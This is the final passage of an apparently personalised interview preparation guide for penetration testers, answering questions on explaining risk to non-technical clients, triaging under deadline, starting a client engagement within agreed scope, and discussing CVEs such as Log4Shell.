Three-layer model: 1) Analogy — 'It's like leaving the back door of a bank vault unlocked because the front lobby has a guard.' 2) Concrete impact — 'An attacker could access every customer's account balance.' 3) Action — 'We recommend X, which the team estimates at Y days of work. Without it, we'd rate this risk Critical for our next assessment.' Avoid: jargon (CVE, CVSS, BOLA), false reassurance, false alarm. Calibrate tone to severity.

Q498. Describe how you handle pressure / a tight deadline.

Triage by impact. Example: 'During a 5-day engagement, I had 3 days left and 40% scope remaining. I asked the client to prioritize: which 5 features carry the most business risk? Focused there. Documented unfinished areas explicitly in the report with note 'recommended for follow-up'. Delivered a strong report on the critical paths instead of a watered-down complete one. The client appreciated the prioritization.' Shows you optimize for value, not vanity coverage.

Q499. How would you approach the first day of a new client engagement?

1) Re-read scope and ROE; confirm in writing if anything ambiguous. 2) Set up Burp project, evidence folder, engagement notes (use a structured tool like Pwndoc or markdown). 3) Verify scope is reachable (no firewall surprise). 4) Light passive recon (whois, ASN, CT) to validate ownership. 5) Kickoff sync to confirm: source IPs to whitelist, escalation contacts, restricted hours, blackout periods, anything client mentioned. 6) Begin testing in the order risk dictates — usually external-facing high-value targets first.

Q500. What's a recent CVE / security event you find interesting and why?

Be authentic about something you've actually studied. Example direction: 'Log4Shell (CVE-2021-44228) — interesting because it showed how supply-chain library vulnerabilities are everyone's problem regardless of language. It also exposed how many organizations lacked SBOM visibility — my current work at HCLTech on the SBOM Analyzer is directly motivated by that gap. From a pentest angle, it changed initial-access expectations: any logged user input field became a potential RCE.' Tying the answer to your work context makes it credible. Pick another current example if Log4Shell is dated; e.g., regreSSHion (CVE-2024-6387 OpenSSH), recent Citrix Bleed, latest VPN appliance CVEs.

End of Guide — 500 Questions

Built for Feroze Basha · Future Beyond Technology

Stay sharp · keep practicing · ship the report.